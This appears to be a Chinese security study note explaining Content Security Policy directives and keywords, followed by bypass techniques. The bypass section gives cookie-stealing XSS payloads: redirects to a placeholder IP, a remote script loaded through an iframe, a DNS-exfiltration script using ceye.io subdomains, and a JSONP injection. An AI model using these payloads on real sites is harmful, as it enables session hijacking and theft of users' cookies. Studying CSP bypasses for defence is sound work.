CSP策略以及绕过学习
参考文章:http://www.ruanyifeng.com/blog/2016/09/csp.html
参考文章:https://www.jianshu.com/p/f1de775bc43e
参考文章:https://www.cnblogs.com/afanti/p/12663771.html
什么是CSP策略:
CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置
CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机
如何启用CSP策略:
一种是通过 HTTP 头信息的Content-Security-Policy
的字段
一种是通过网页的<meta>
标签
CSP是如何解析的:
嵌套在CSP中的策略:
script-src:定义了页面中Javascript的有效来源
style-src:定义了页面中CSS样式的有效来源
img-src:定义了页面中图片和图标的有效来源
font-src:定义了字体加载的有效来源
connect-src:定义了请求、XMLHttpRequest、WebSocket 和 EventSource 的连接来源
child-src:指定定义了 web workers 以及嵌套的浏览上下文(如<frame>
和<iframe>
)的源
还有个就是:default-src
default-src :一次性包括了上面的所有
接下来再讲下关于内容源:
其实内容源可以理解为上面的策略中的实际策略是什么!
内容源有三种:源列表、关键字和数据
源列表:
http://*.foo.com (匹配所有使用 http协议加载 foo.com 任何子域名的尝试。)
mail.foo.com:443 (匹配所有访问 mail.foo.com 的 443 端口 的尝试。)
https://store.foo.com (匹配所有使用 https协议访问 store.foo.com 的尝试。)
比如CSP策略为:<meta http-equiv="Content-Security-Policy" content="script-src dz.com">
,那么只允许dz.com这个域下的资源才能够进行引入
那么只有访问为http://dz.com/test.php?csp=<script src="http://dz.com/1.js"></script>
,只有1.js才可以被引入被触发
关键字:
'none':代表空集;即不匹配任何 URL。两侧单引号是必须的
'self':代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的
'unsafe-inline':允许使用内联资源,如内联的<script>
元素、javascript: URL
、内联的事件处理函数和内联的<style>
元素,两侧单引号是必须的
'unsafe-eval':允许使用eval()
等通过字符串创建代码的方法。两侧单引号是必须的。
比如CSP策略为:Content-Security-Policy: script-src 'self' dz.com
,
比如http://dz.com/test.php?csp=<script src="http://dz.com/1.js"></script>
,这种情况只能在dz.com域下才能进行引入script资源
如果CSP策略为:Content-Security-Policy: script-src 'none' dz.com
,这种情况也是一样的,script-src
包括了两者,none
和dz.com
,后者会覆盖前者,那么也就是允许script-src引入dz.com域下的资源,那么就跟上面的效果是一样的!
data:允许data: URI作为内容来源
mediastream:允许mediastream: URI作为内容来源。
比如CSP策略为:Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:
这里拿一段标签中的CSP策略来进行解释:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
上面代码中,CSP 做了如下配置:
1、脚本script的src只信任当前域名(满足同源策略的条件)
2、<object>
标签中的src不信任任何URL,即不加载任何资源
3、样式表style中只信任cdn.example.org和third-party.org
4、框架(frame):必须使用HTTPS协议加载
5、其他资源:没有限制
如何绕过CSP策略:
第一种重定向绕过
在CSP策略为<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline'">
的情况下
绕过:<script>window.location.href='http://xxx.xxx.xxx.xxx/xxe/1.php?file='+window.btoa(document.cookie);</script>
第二种情况下的CSP策略为<meta http-equiv="Content-Security-Policy" content="default-src 'none' 'unsafe-inline'">
的情况下
绕过:<script>window.location.href='http://xxx.xxx.xxx.xxx/xxe/1.php?file='+window.btoa(document.cookie);</script>
其实上面两个都是通过重定向来进行绕过的,主要是看'unsafe-inline'
第二种通过加载iframe来dns带外传输
在CSP策略为<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline'">
绕过:<script>f=document.createElement("iframe");f.id="pwn";f.src="./1.txt";f.onload=()=>{x=document.createElement('script');x.src='//ttttttttttt.com/1.js';pwn.contentWindow.document.body.appendChild(x)};document.body.appendChild(f);</script>
ttttttttttt.com域名下的1.js文件内容
dc = document.cookie;
dcl = dc.split(";");
n0 = document.getElementsByTagName("HEAD")[0];
for (var i = 0; i < dcl.length; i++) {
console.log(dcl[i]);
n0.innerHTML = n0.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") + ".0wtpsg.ceye.io\">";
console.log(n0.innerHTML);
}
第三种通过jsonp来进行绕过
csp策略为script-src 'self'
的情况
如果当前站点下存在xss/xss.php?content=xss_injection
但是同时也存在jsonp的/jsonp.php?callback=<script>alert(1)</script>
那么通过xss注入script脚本,其script的src属性为jsonp的xss,其payload为/xss.php?content=<script src="/jsonp.php?callback=<script>alert(1)</script>"></script>
,那么同样也可以绕过